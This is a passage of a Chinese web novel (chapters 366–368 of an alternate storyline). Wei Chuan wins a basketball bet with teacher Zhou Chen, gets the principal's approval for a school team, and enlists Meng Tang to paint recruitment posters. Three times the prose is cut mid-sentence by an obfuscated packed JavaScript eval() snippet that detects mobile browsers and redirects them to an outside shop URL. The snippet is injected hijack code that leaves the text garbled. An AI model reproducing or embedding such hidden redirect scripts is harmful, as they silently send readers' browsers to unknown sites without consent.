魏川见状,没有强行上篮,手腕一翻,将球轻轻一抛,借着周沉封盖的惯性,侧身躲开…… 即便看不懂球的孟棠都不禁屏住了呼吸,那么多动作,已经让她看花了眼。 魏川接住反弹的球,稳稳放进篮筐。 周沉眼中闪过赞许:“你确实有点东西。” “不止一点吧。”魏川狂妄道。 周沉笑了声:“再来,我就不信了。” 魏川也笑了声,显然也打爽了,来雁清后,打的最爽的一次球。 要不是时间紧,周末邵一鸣他们来的时候,他就把人拖篮球场了。 想到这里, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17078133|176522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他心头又是一沉。 邵一鸣说得对,想要组建一支能够日常进行对抗训练的球队太难了。 不过办法总比困难多,花钱买对手来学校陪练,容易被贴上“除了钱没有真本事”的标签。 所以要换个说法,比如优越的场地和专业的训练器材,还有承担约练的基础配套成本。 比如练球后提供简餐,免费提供训练的工具和护具,承担裁判费用。 说是简餐,可以在吃食等这些细节方面多花功夫,让那些陪练的来了一趟还想来第二趟。 分神的工夫,周沉再次进球。 魏川甩了甩头,全力以赴。 时间一分一秒过去,两人的体力消耗掉不少,后背早已被汗水浸湿。 周沉毕竟年纪大了,体力不如从前,魏川一鼓作气,趁此机会,连续突破得分。 来到赛点,全场瞬间安静下来,所有目光都聚焦在两人身上。 梁菲菲下意识抓住孟棠的手腕:“你说谁会赢啊?” “魏川吧。”孟棠说,“我看不懂球,但周老师好像累了。” 魏川还跟没事人一样,只是微喘。 这角度挺对的,梁菲菲笑了声:“还是年轻好啊。” 周沉再次开球,直接用后背顶住魏川,一步步往篮下推进。 “哇,周老师平时看着也不壮啊,看看这手臂的肌肉线条,力量十足啊,我还是第一次注意到。” “天哪,你为什么在看周老师啊,不应该看魏川吗?” “呃……我有点不好意思看。” “这有什么不好意思的?” “他打个球都像个bking,太性感了,我不敢看。” 孟棠旁边的两个女生肆无忌惮的谈论声进了她的耳朵,她下意识盯着魏川,从头看到尾。 他很适合被雕刻成像,首先身形体态是特别漂亮的,肩背展得开,腰腹收得紧。 即便隔着衣服,孟棠也能感觉出下面线条分明的肌理,像她顺着木料天然纹理凿出的骨线。 他的额头、眉骨至眉峰,格外鲜明,浓淡相宜,眼神藏着少年独有的劲儿,眸光清亮。 鼻梁挺括,山根到鼻尖的线条起伏恰到好处。 五官和身材没有一丝赘余,每一处的轮廓都透着精雕细琢的劲感,可能是常年打球的缘故,他举手投足的力量干净利落,气质更是收放有度。 英气有神,已经超越了太多人。 篮球场上,魏川压低重心奋力抵抗,额头的汗水,洇湿了灰色的地面。 周沉转身投篮的瞬间,他猛地伸手,精准断下篮球,毫不犹豫地冲向前场。 周沉反应也很迅速,但回追已经迟了,两人几乎同时抵达篮下。 魏川起跳上篮,周沉还试图一博,他指尖就要碰到篮球时,魏川在空中微微调整姿势,手腕轻抖,篮球擦着篮板内侧,稳稳落入篮网。 十分钟结束,落地后,魏川扶着膝盖大口喘气,胸口剧烈起伏,脸上洋溢的笑是意料之中。 周沉仰着头,看着还在晃动的篮网还在晃动,笑了声:你赢了。” 魏川终于松了口气:“那答应我的,要说到做到。” 周沉点了点头:“不过根据教育局的规定,学籍转入满一学期才能参赛,你确实还要组队?” 魏川点了点头:“这些规定我早就了解了,我也没想一口就吃成胖子,我只是想越快越好,毕竟组建起来也不容易,正好利用这一学期的空窗期打基础、磨合。” 周沉看着他,说:“看来你已经有了详细的计划。” 魏川说:“这些计划,我早在暑假里就在脑子里演练了上百遍,我只需要按照流程走完,达到我的目的。” “校长那边并不太容易,不过听说你家捐了不少钱,他应该也不会糊弄你。”周沉捡气球,“行了,明天午休的时候来办公室找我,先走了。” 魏川也捡起地上自己喝了一半的水打算回教室,结果在人群里一眼看到了孟棠。 孟棠不知道出于什么心理,拉着梁菲菲转头就走。 “孟棠。”魏川喊了声,声音里都是欢快,“你跑什么,等我一下。” 第366章 【if线 11】老头严选 孟棠还想走,被梁菲菲一把扯了回来。 “有没有礼貌,人家都叫你了。”梁菲菲在她耳边小声嘀咕。 孟棠干笑了声,她当然听见了,但现在人很多,她不太想成为众人关注的对象。 但凡有魏川在的地方就有目光。 魏川抹了把汗,追上了孟棠。 “叫你怎么还一个劲地往前走?” 魏川只是随口的一句话,孟棠却莫名心虚、 她也无法忽视周遭的视线,说:“快走吧,今晚还有好几张卷子要做。” 魏川瞥了眼去超市的路,问孟棠:“你要不要喝东西?” 孟棠摇摇头,说:“我包里有牛奶。” 魏川这才作罢。 回教室还有一段路,不说话也挺尴尬,梁菲菲眼珠一转,问他:“你怎么跟周老师打起来了?” “有点事要拜托他。”魏川说,“他不同意,说赢了他就给我办。” 梁菲菲点点头,没有追问是什么事情。 上了三楼,梁菲菲和他俩告了别。 魏川跟在孟棠身后进了教室,班主任已经在了。 孟棠赶紧回座位,将卷子拿出来做。 第一次月考的成绩挺重要的,专业课忙完,必须让文化课也要跟上。 教室里有梁璐坐镇,很快安静下来。 孟棠的试卷刚拿出来,魏川的笔伸了过来,指在了她试卷第一大题的最后一道小题上面:“错了,答案是-2。” 孟棠拿了张白纸重新算了一遍,结果怎么都不对。 魏川用笔杆子敲了下她的笔:“让开,给你写步骤。” 孟棠将草稿纸给了他,自己专注下一道题。 魏川愣了下,还以为她会等着自己听听解题思路呢。 得,魏川赶紧给她写了步骤递过去:“自己先看,不会再问我。” 孟棠点了点头:“谢谢。” 孟棠的成绩很好,只是和自己的其他科相比,理科相对弱一点。 好在魏川写的步骤很好理解,她很快看懂。 理科卷子做起来很快,数学完成后,她从课桌里拿出轻薄的开衫套在了身上。 魏川的余光不知不觉又偏了点,他抬眸看了眼空调温度,这个还真没法去调。 一个班级人那么多,肯定要迁就一下怕热的,因为冷了可以穿外套。 冬天的话就得迁就怕冷的,怕热的少穿点就行。 这个温度其实他稍微动一动还会觉得热,但班里大多数女生都穿着外套。 不过已经九月了,这种热的日子估计也快结束了。 放学之前,梁璐拍了拍手:“大家休息会,听我说两句话,明天开始,天气可能会降温,天气预报说未来一周都会下雨,大家注意保暖,也要把雨具带着,以防淋雨感冒。” 这些话,学生们估计已经听腻了,但雁清九月中上旬多以锋面雨为主,持续下小雨或者中雨。 这时候学生会成批成批地感冒,梁璐也是不放心,总要叮嘱几句。 大家拖拖拉拉应了声,下课铃声响了,梁璐挥了挥手:“回去吧,回去早点睡。” 孟棠收拾好书包,和魏川一前一后出了教室的门。 到了一路通道口,魏川将鸭舌帽戴上,三两步追上孟棠,问:“你今天骑车了吗?” 孟棠点了点头:“骑了,不过明天开始就不骑了。” “为什么?”魏川下意识问了句。 “明天开始下雨,不如腿走打伞。”孟棠说。 “那我明天也腿走吧。” 孟棠微怔:“你不是有司机吗?” 大少爷受这份罪干什么? 魏川指了指大门口:“一到这个点就堵得人山人海,你都到家了,还有人坐车等着红绿灯呢,不如自己走,更快一点。” 两人的车停在一个车篷里,魏川快一点,他脚下一蹬,滑到了孟棠旁边。 孟棠将书包扔进车篮,瞥了他一眼:“校内不让骑车,门口有人查。” 魏川从车上下来,一手插兜,一手扒着把手。 孟棠:“……” 怪不得班里女生都说他bking,确实挺有那气质的,不是贬义的意思。 过了大门,两人才沿着路边骑车回家。 他俩的路径基本一致,只在最后一段路的分叉口分道就行。 孟棠熟门熟路地打开车把手的强光手电,魏川笑了声:“我靠,这么亮?” “爷爷买的。”孟棠说,“我先走了。” 大概一百多米,孟棠就能到家,魏川和她挥了挥手,开启了一段很长的下坡路。 到家后,阿姨在小区门口等他。 见到人,才终于松了口气,说:“以后还是我去接你吧,车也给你换了普通点的。” 阿姨会开车,魏川不要司机,只能她来接送。 “不用。”魏川说,“明天开始下雨,我自己腿走,学校门口挤不动。” “腿走啊?”阿姨不太赞同,“你以前哪里自己上过学啊?” “环境不一样。”魏川十分有耐心,“咱们入乡随俗吧,明早给我准备一把折叠伞我带着。” “好,只是一天两三趟来回也太辛苦了。” “中午不回来吃了,我自己在外头吃一口吧。” 魏川中午也懒得回。 他发现外面小餐馆的饭菜还不错,吃腻了就换一家。 回到房间,阿姨送来了宵夜,魏川吃完打算睡觉,结果孟棠发来了一条信息:【你有看到我英语卷子吗?】 魏川当然没看到,他刚要回复,突然想起什么,拉开了自己的包链翻找了一通,发现了已经被孟棠署名的卷子。 什么时候进来的?魏川笑了声,给她拍了张照片:【在我这儿。】 【……你拿卷子之前就不能看看名字?谷老师明早要收的。】 魏川:【我给你做。】 孟棠:【……不用了,我明早跟谷老师解释一声就行。】 魏川:【没事,我记得答案。】 孟棠:【笔迹不一样,我不想被点名。】 魏川:【要不我现在给你送过去?反正也就十来分钟的时间。】 孟棠看了眼时间,十点整,魏川一来一回不到半小时。 12点之前,她可以做完这张卷子。 她当即拿了椅子后的外套出了门,方姐跟在后头追:“你干嘛去?” “我去拿东西,一会儿就回来。” 方姐追都追不上,只能喊:“快下雨了,赶紧回来。” “知道了。” 孟棠直接从后院出了门,她晃着手电筒,四周都能看得很远。 没一会儿,魏川骑着自行车的身影出现在大路上,孟棠朝他晃了晃手电筒。 光线里突然落下千万条细密的线,孟棠这才意识到下雨了。 她还没来得及反应,头上被卡上了一顶鸭舌帽:“愣着干什么啊?赶紧回去。” 孟棠接过试卷,去拿头上的帽子:“给你,我转个头就到家了。” “你先戴着吧。”魏川掉了车头,“明早给我就行,走了。” 这人掉头就走,潇洒得很。 孟棠拿着自己微湿的卷子,顶着他的鸭舌帽回了家。 看到方姐在等她,她将帽子递过去:“麻烦您今晚洗一下这个,明早我要给我同学带过去。” 方姐拿到帽子后看了看,说:“这是男生的帽子吧?” 孟棠点了点头:“是,魏川的,我卷子被他不小心带回去了,他来还卷子,见下雨就把他的帽子给我了。” 方姐失笑:“我也没让你解释,你怎么有点紧张?” 孟棠:“……我写作业去了。” “早点睡啊,刚才头发淋湿了,先去洗个澡,洗完头一定要吹干。”方姐一句一句叮嘱着。 “知道了。” 孟棠回房第一件事就是洗澡洗头,吹得半干才出来窝在椅子上写作业。 一张英语试卷,还是有点难度的。 不过魏川英语很好,口语也好,他的摸底成绩差点满分,当然是去除了听力的部分。 z市和雁清的教学质量还是有十万八千里的差距。 差不多12点,孟棠终于做好了卷子。 翌日一早,她将已经干了的帽子装进书包带到了学校。 刚坐下,魏川也进来了。 他将书包挂到椅背上,转头问孟棠:“你几点出门的?怎么总比我早到一步?” 孟棠说:“六点十五出的门。” “那你几点吃早饭?” “六点。” 魏川将自己的头磕在桌上:“我以前在家,七点才起床,你们都坐教室早读半小时了。” 孟棠微微勾了勾唇:“也就早半个小时。” 也就半个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17081531|176522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小时,魏川突然被这句话安慰到了,不过就半个小时,怎么感觉差了那么多时间? 孟棠将帽子从书包里拿出来,递过去:“给你。” “你洗了?”帽子上带着一股木质调的香味,和他家里的香氛不太一样。 “阿姨洗的,天气还热,干得快。” 魏川将帽子收起来,问她:“你今天中午还回家吃饭吗?” 孟棠摇摇头:“下雨天一般不会。” 学校不让叫外卖,她要么不吃,要么就去校外吃一口。 今天下了小雨,她懒得出去,书包里从家里带了点吃的,不过不是正餐,能对付一顿。 “今天中午去哪儿吃饭?你有什么可以推荐的地方吗?带我一个呗。” 孟棠刚想说她不出去,英语老师进来收试卷了。 早读课被她占用,开始默写单词和短语,孟棠也就将魏川的话给忘了。 直至四节课下,魏川叫她一起走的时候,她再也不好拒绝。 两人打着伞出了校门,附近的餐馆人肯定很多,孟棠有点社恐,将魏川带远了些。 “我们去哪儿?”魏川没走过这条道,感觉越走越偏僻。 “一家面馆,有点远。”孟棠说,“你吃面吗?” “吃啊。”魏川说。 在家里倒不常吃,队里的孔长风是无面不欢的人,他也会吃,连带着整个队都跟着他吃。 遇到好吃的,无论是什么,魏川都是可以接受的。 孟棠熟门熟路地拐进老巷子,魏川跟在她身后,价值不菲的衣服和周遭斑驳的砖墙格格不入。 巷子不宽,空气中飘着油烟气,魏川莫名其妙觉得自己接地气了。 “到了,就是这家。”孟棠在巷尾一家破烂木招牌的小店前停下。 门头十分破旧,字迹看着很熟悉。 孟棠见他不说话,连忙解释:“店里很干净的,你进去就知道了。” “不是。”魏川指了指门头,“这上面的字……怎么跟你写的有点像。” 孟棠说:“爷爷写的,他以前常来这里吃饭。” “老头严选啊。”魏川开了句玩笑,“那得好好尝尝。” 孟棠:“……” 懒得搭理他。 店面有两层,楼下只有六张矮桌,只余一张空着。 魏川的视线扫视了一圈,发现这里确实锃亮,几位穿着校服的学生正低头扒饭,说话声夹杂着碗筷碰撞的脆响,热闹却不嘈杂。 “小棠。”老板看到她眼睛一亮,“你今天怎么有空过来了?” “我跟我同学一道来的,叔,来两份招牌面吧。” “好的,等一下啊。” 孟棠和魏川在空位上坐下,店里的帮工忙到飞起。 魏川指尖擦过桌面,惊讶地看向孟棠:“竟然一点油星子都没有,这也太干净了。” 孟棠笑了笑:“其实这里离学校有点远了,很多附近的居民会过来吃。” “你常来?”座位与座位之间隔得近,魏川生怕打扰到旁人,特意压低了声音。 “十天半月来一次吧。” 说话间,两份一模一样的面被端了上来。 魏川回眸瞧了眼外头,说:“雨又下了,这天气,吃点面还不错。” 粗瓷碗里面条白亮,一旁卧着金黄的煎蛋,青菜翠绿,虾仁鲜美,香气瞬间裹住了魏川的味蕾。 不知道是不是饿了,他忍不住吞了下口水,拿起筷子大快朵颐。 吃饭的环境对一个人的食欲也有很大的影响,酒香不怕巷子深,这家门店从装修到工作人员,再到食材都充满了人间烟火味,这是魏川不曾体会过的。 他头脑里第一次冒出人间烟火是无意中瞥了眼《舌尖上的中国》节目,再有就是这次了。 魏川吃饭很快,没一会儿连汤吃完了,他主动去付了钱,连同孟棠的那一份。 眼看时间差不多了,两人各自打伞回了学校。 魏川有事找周沉,在三楼和孟棠告了别。 孟棠刚进教室,班里几个舞蹈生的视线似有若无地打量着她。 不知道是因为学舞蹈体态好,还是孟棠心思敏感,总觉得对方趾高气扬的。 她刚坐下,靳若涵在她前面的位置坐下,和她面对面的。 孟棠一愣:“有事?” “你跟魏川在谈恋爱?” 第367章 【if线 12】我找孟棠 孟棠被靳若涵的话惊了下,她摇摇头:“没有,一男一女走一起就是谈恋爱了?” 靳若涵察觉到她的语气不太好,诧异地挑了下眉。 班里闷葫芦也有脾气。 她不自在地清了清嗓子:“我没有别的意思,就是问一下。” 孟棠懂了,这几个舞蹈室平时眼比天高,尤其是靳若涵,长得漂亮,家境也好。 五楼一个男生追了她一年都没追到,现在竟然会主动来问魏川,想必是动了心思的。 孟棠“嗯”了声:“还有别的事?” “你不是跟他同桌嘛,我看他对你挺友好的,他有没有女朋友啊?你知道吗?” 孟棠摇摇头:“不知道。” 靳若涵有些失望,按照魏川这长相,说不定在z市有女朋友。 “你能帮我问一下吗?” 孟棠一愣,随即摇了摇头:你自己问吧。” 让她去问魏川有没有女朋友,很奇怪。 靳若涵平日里高傲惯了,也做不出一直缠着人的事,听闻孟棠拒绝,只好转头走了。 平日里只有男生巴结她的份,结果魏川余光都不带给她一个。 她明明是班里最好看的,结果他对孟棠殷勤得很。 不过也有可能两人是同桌。 靳若涵打听过魏川的家世,十个靳家也比不过一个魏家。 魏川不知道自己被人盯上了,跟着周沉去了校长办公室,与此同时,还有德育处的主任以及魏川的班主任梁璐。 道明来意,校长沉吟半刻,推了把鼻梁上的眼镜,说:“这件事,你父亲也跟我沟通过,不过我要跟你说的是,规则摆在那儿,因为转学,你要满一学期才能参赛,学校也没有办法破例。” “我知道,组队很难,我希望用这个学期将该准备的都准备好。” 他甚至做好了整个高二都没办法参与比赛的准备,因为能去参加比赛的队伍,必然都有两把刷子。 “但文化课成绩要跟上。”梁璐适时提醒了声。 魏川笑了笑:“那是当然,以前在z市,如果成绩退步,教练是不会让我们上场的。” 就算你再优秀也不行,照样坐冷板凳。 篮球可不是纯粹的体力运动,同样也是高智商的团队博弈。 就比如篮球战术涉及很多站位、跑位,各种挡拆配合和攻防转换,这其中就有一套运行的逻辑。 理解力和逻辑思维差一点都不行,更别提赛后还有各种数据统计和复盘。 德育处主任听了半晌,突然说:“就算给你招到球员,那训练时间怎么协调,毕竟年级不同,协调很困难,尤其是高三生。而且我敢肯定,这支球队一旦组建成功,按照你的实力,必然是队长,你一个新来的能让他们服气吗?” 他主要担心个个年轻气盛,一个不和就能打起来。 魏川对于这个问题也早有准备,他看了眼周沉,说:“周老师曾经有带队的经验,我本人也是团队和学校的利益高于一切,至于训练时间,我们肯定会避开重要考试时间,会利用起一切课余和房间时间,队内责任也会明确划分,到时候会有专人负责考勤和纪律问题。” 校长看向周沉:“周老师,你怎么看?毕竟这里只有你一个人有经验。” 周沉看了眼魏川,缓缓道:“咱们学校在体育赛事方面确实很久没有突破,要是真能打出成绩,也能为学校争取更多的优质生源。” “再一个,魏川的实力毋庸置疑,他的比赛无论是线上还是线下,我都看过。” “他肯定不是一时兴起,而且场地设施这些都不用学校花一分钱,相当于‘零成本试错’。” “这学期我们可以先组建球队,打磨基础,等资格够了参赛,要是能打进市赛,对学校的声誉也有帮助。” 校长点了点头:“雁清本土的篮球赛不算激烈,跟过家家似的。” “所以魏川作为核心,我作为教练,再加上专业场地和团队,胜算很大。” 校长又沉默了下去,其实这件事,他必然要答应的。 拿了人家的好处,小祖宗要打个篮球而已,有什么不行的。 而且场地设施都是对方提供资金,他又何乐而不为? 魏川见状,还以为他在思考,忙抓住机会,说: “校长,如果以后球队稳定,我们可以和本地其他中学搞友谊赛和校园篮球文化节这些活动,带动体育氛围,而且——” 校长抬手阻止他:“我知道你要说什么,学校可以同意你的申请,不过你也要答应我几个条件。” 魏川一喜:“您说。” “第一当然就是要搞好成绩,每次考试成绩都不能下滑;第二,球队训练必须严格遵守校纪校规,一旦出现违规、投诉,立刻暂停训练;第三,场地选址和施工也必须服从学校的安排,不能影响正常的教学。我会让周老师负责监督球队的管理,德育处配合做好安全备案。” “谢谢校长,我一定不会让您失望的。”魏川快要高兴疯了。 最难的一步已经迈了出去,之后的事情也会顺顺利利。 除了校长办公室,魏川转头跟周沉说:“谢谢你,周老师,你能带我来这里,就说明你已经想通了。” 周沉笑了笑,和他一起下楼。 和魏川一起打球,激起了他久违的对于一件事的执着和渴望。 “关于后续的场地我会一直盯着,你也可以准备准备球队招人的事了,有什么困难跟我说。” “行。”魏川一口答应。 回到教室,第一节课已经上了一半,他径自从后门进去,却被数学老师拦住:“等一下,你进来都不知道喊报告的?” “不好意思,我忘了。”魏川回到门口,重新喊了“报告”。 他以前在z市上学,不管谁迟到,都直接进教室坐下,不要打扰到别人上课,事后再和老师说明。 就算在课堂上想去厕所,也是可以直接去的。 来了这里,到处都是规矩。 “进来,坐下吧。” 魏川“哦”了声,好心情没了大半,他怀疑这个数学老师对他有意见。 当晚放学的时候,魏川问孟棠这附近有没有广告公司,孟棠给他指了路。 学校附近就有很多这种小型广告公司,第二天中午,魏川独自找了一家,说了自己的要求。 一共三版招募海报,老板说两天时间给他,毕竟前头也压着许多事,魏川只能答应下来。 结果周五给他的时候,他人直接傻了,土土的风格,毫无设计感的排版,让人看一眼的欲望都没有。 他简直被气笑了,将海报发到队群里,遭到了全队的打击和吐槽。 其中,邵一鸣吐槽得最狠。 【我靠,兄弟,这审美真的绝了,老板还没改行吗?】 魏川哼笑了声:【生意还行。】 邵一鸣:【你为什么不自己画啊?多生动。】 魏川心情很不爽:【我特么倒是会啊。】 【你们学校不是有艺术生吗?请人家喝杯奶茶的事,怎么这么不知道变通,也难怪我成天在这里担忧你。】 一语惊醒梦中人。 魏川当即返回了学校,这会儿还没上课,孟棠不在班里。 他给她打了个电话,得知她在画室,立刻又跑下了楼。 雁清实行一个月双休制度,除了开学第一个礼拜双休,之后都是单休,直至第四个礼拜再次双休。 这周是单休,周五晚上也有晚自习,孟棠趁着中午的时间去了画室,因为前两节课也是美术课。 魏川刚到画室门口,碰到了孟棠的同学梁菲菲。 偏偏喊不出人家的名字,一个劲地在思考,梁菲菲未免他尴尬,主动打了招呼:“我叫梁菲菲,你们班主任的侄女,你来我们画室干什么?” “哦对对对,梁菲菲。”魏川终于想起来人家的名字,“我找孟棠有点事,你能不能让她出来一趟。” “可以啊。”梁菲菲一口答应,“你在外面等一下。” 进了画室,梁菲菲走到孟棠跟前敲了敲她的画板:“外面有人找你。” 孟棠下意识抬眸:“谁啊?” “魏川。” 孟棠偏头看了眼窗口,对上了魏川卖乖讨好的笑。 其他人见到他,互相推搡了下,随后窃窃私语,俨然校园大明星待遇。 孟棠赶紧起身,将他从窗口拉开:“你怎么找来画室了?” “我有事找你。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17085170|176522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”魏川将手上的海报递给她,“你看看怎么样?” 孟棠接过看了眼,久久无言,显然也被雷得不轻。 “邵一鸣说电线杆上的寻猫启事都比这个有设计感。”魏川的语气略显委屈。 孟棠忍俊不禁,这人嘴也太毒了。 “这是你的篮球队招募海报?” 魏川点了点头:“没找到合适的广告公司,邵一鸣说可以手画,我想起来以前在学校,看到的很多海报确实是手绘的,这不就想到了你。” “不过我绝对不会让你白帮。”魏川赶紧表明态度,“有偿也可以,请你吃饭,给你做事都可以。一共三张海报,我贴公告栏和校门口,能不能帮我画一下?” 帮他个忙自然没问题,只是…… 孟棠蹙紧了眉,说:“你着急吗?我只有礼拜天有空。” 魏川当即点了头:“当然可以,周一不是要升旗吗?都要从告示栏通过,我正好早上贴上去。” 孟棠点了点头:“我叫上梁菲菲帮忙可以吗?” 三幅海报要点时间,她一个人可能会忙不过来。 “可以啊,你需要用到什么工具吗?我去买?” “不用。”孟棠摇头,“我家里都有,到时候你过来一趟吧,当面沟通你的想法,不然隔着手机,总归不太方便。” “去你家?”魏川有些惊讶,“咱们在学校不能沟通吗?我现在就可以把我的想法说给你听。” “明天我不来学校,要和爷爷去一趟东麓采购木料,夜里才会回雁清。” 魏川顿了顿:“明天你不来学校啊?老头去采购木材,怎么把你也带着?” 孟棠说:“这些都是学习的一环,我总不能只会雕刻,不会辨木。” 魏川点点头:“行,那我礼拜天过去。” “上午就过来吧。”孟棠说,“下午时间太赶,晚上还要回学校上晚自习。” 魏川:“……晚自习不能不上吗?” 孟棠摇摇头:“不可以,学校规定。” “好吧,那就周日去你家。” 约定后,孟棠回了画室。 梁菲菲当即就来八卦了,孟棠无奈道:“周末去我家一趟,你就知道他找我什么事了。” “真的假的,我可经不起这种诱惑啊。” 孟棠:“……真的,你到时候过来就知道了。” 梁菲菲早知道被抓去当免费劳工,打死都不会来八卦的。 孟棠两节课后回了教室,除去最后两节课的时间,一直在补周末的作业。 虽说她情况特殊,也总向学校请假,但该做的能做的作业,她都会提前完成。 以至于到放学,魏川愣是没和她说上半句话。 而孟棠回到家后还要补作业,也是急匆匆地和他告了别。 翌日一早,魏川难得准时准点到学校,身边空着,还有些不太习惯。 他总要偏头,想要说上只言片语,发现孟棠不在后怔愣了半晌。 魏川觉得有些奇怪,孟棠对他的影响似乎有些大。 想他以前在z市,上课的时候从来不想和别人说些什么。 来了这里,变得话痨似的。 克制,魏川强迫自己撇开视线,专注笔下的题目。 下午,周沉来教室找他,关于场地选择,有了方案。 学校内有一块水泥地的旧球场,在学校的西北角,靠近围墙,远离教学楼和宿舍区,周边有闲置的空地可以搭建器材室和休息区。 魏川当即拍板:“很合适啊,学校的场地,无需额外审批选址,施工周期缩减至个把月,周边也没有敏感区域引发投诉,这是不是以前你们打篮球的地方?” 周沉点了点头:“那时候条件很艰苦,有水泥地都不错了。” 魏川笑了笑:“我挺满意这个地方的。” 周沉也笑了声,随后转身走了。 因为这个好消息,魏川的周六不算难熬,第二天一早,他跟阿姨说了声,要去同学家。 阿姨连忙将人拦住:“去同学家就空手吗?” 魏川一愣:“要带什么?” 阿姨:“……带点水果礼盒吧,小区门口就有,不然不像话。” “知道了。” 魏川应了声,风风火火出了门。 第368章 【if线 13】你有女朋友吗 同学之间来往,更注重礼轻情意重,魏川按照水果店老板的推荐,带了一份果篮。 和方姐见过一次,魏川主动叫了人,还夸她几天不见年轻了,哄得方姐眼尾炸开了花。 孟棠在窗口听得一清二楚,心想他可真会哄人。 “来就来,怎么还带东西,太见外了。”孟棠听见方姐说。 “空手上门我也不好意思,毕竟有求于人。”魏川扫视一圈院里,“老爷子不在吗?” “还在东麓没回来。” 魏川脚步一顿:“那孟棠呢?回来了吗?” 方姐说:“昨天晚上就回来了,不是跟你约好了吗?哪能说话不算话。” “老头就让她一个人回来啊,还是晚上。” “没事,”孟棠出现在房门口,“我回来的时候天还没黑。” 魏川没立场管人家的事,而且也是随口一说,他看着孟棠,问:“梁菲菲还没来吗?” “快了,你先进来把想法说一下。”孟棠侧过身,示意他进屋。 魏川莫名有种闯人闺房的既视感,进去后,他也不敢乱瞟,孟棠让他干什么他就干什么。 孟棠将他带到了书桌旁,书桌是一张老梨木桌,纹理温润厚重,边缘锃亮圆润。 魏川指了指她的桌子:“看样子是个老物件。” 孟棠没想到魏川眼力还不错,笑了笑:“桌子是以前爷爷用的,被我捡了过来。” 收拾后,别有一番味道。 桌子左边铺着一块深色的皮质雕刻垫,上面收拾着一套木雕工具,还有几张深浅不一的细砂纸片。 垫子正中央立着木胚,已刻出眉眼轮廓,是个持扇的古典仕女,身形窈窕,姿态怡然。 至于笔墨纸砚的摆放区,除去一方砚台,最多的就是毛笔了。 魏川说不出所以然,只是突然觉得自己很没文化。 抬眸间,窗外是海棠树,不得不说,孟棠这小日子过得是真悠闲。 孟棠给魏川一支笔:“说说你的想法,画也行。” 魏川哪会画啊,他边说边写:“我希望这三张海报给我拉到人,不用太花哨,但热血一点是可以的,男生就爱吃这点。” “最重要的当然是能有效传达信息,精准吸引目标同学,最好能戳中他们的心,一秒不带犹豫地来找我报名。” 孟棠微微歪头看向他:“三张海报的基调都不一样吗?” 魏川说:“其实核心是一样的,但贴海报的地方不一样,可以跟着场景走。” 魏川放下笔,将自己的想法调理分明地讲给孟棠听,从版式到内容,再到风格。 至于细节,可以在孟棠出草稿图后再商议。 就在这时,梁菲菲来了。 方姐在外头喊了声,孟棠和魏川立马起身去迎接。 打了招呼后,梁菲菲跟着进了屋,魏川将自己的位置让给梁菲菲,自个儿站一旁。 “你坐啊,”梁菲菲指了指侧边,“我坐那儿就行。” “没事,我欣赏欣赏窗外的美景。”魏川说,“反正我只要动动嘴皮子,你俩坐一起方便沟通。” 梁菲菲这才坐下,问孟棠:“草稿还没打?” 孟棠重新拿出一张白纸,对梁菲菲娓娓道来。 魏川的第一张海报是贴在校门口的,除了自家人,别的学校也可以看见。 重点在于让校内外都知道雁清中学篮球队重组了。 这张海报是周沉要求的,其实重组的问题,无人在意,不过是贴给想要看见的人而已。 周沉偶尔会受到其他学校的邀请指导一下篮球,其中有两人他觉得还不错,不过他们有这个心,但奈何学校的球队不太中用。 同时,这张海报必须把教练团队和专业场地,以及条件待遇都得写清楚。 梁菲菲总结:有排面、靠谱、有中心记忆点。 孟棠点了点头:“给校园的人看,同时也展示着雁清中学的形象和实力,那就需要大气有质感一些。” 梁菲菲补充:“海报醒目的大字就写‘雁清中学篮球队重组’?” 魏川说:“校门口的海报,就是打个‘官宣’,让所有人都知道这事,有新场地、有教练,而且还靠谱。” 其余就是招募信息,具体详情可以去校内公告栏看,想要参与的人,总有方法看到详细的。 第二张海报就是贴在公告栏的详细招募版本,招募信息更细节化,甚至训练要求都得写上去。 这张不需要什么设计感,以信息传递为主。 孟棠说:“信息太多会重点模糊,要分区域,版本也不能太挤。” 梁菲菲附和:“可以分割四块区域,每个区域写上重点标题,比如‘招募对象’‘训练安排’‘核心福利’‘报名方式’” 魏川插嘴道:“完全可以,招募对象写高一高二即可,三张海报都是。” 孟棠一愣:“之前不是说高三也可以?” 魏川摇了摇头:“我跟周老师商量过,还是以高一高二的学生为主。这张海报可能需要你俩多费心,因为很多人有顾虑,我得把规则写清楚,比如不占正课这种细节。” 孟棠说:“待会儿再对细节吧。” 第三张海报按照魏川的要求,完全是热血版本,就贴在操场和篮球场。 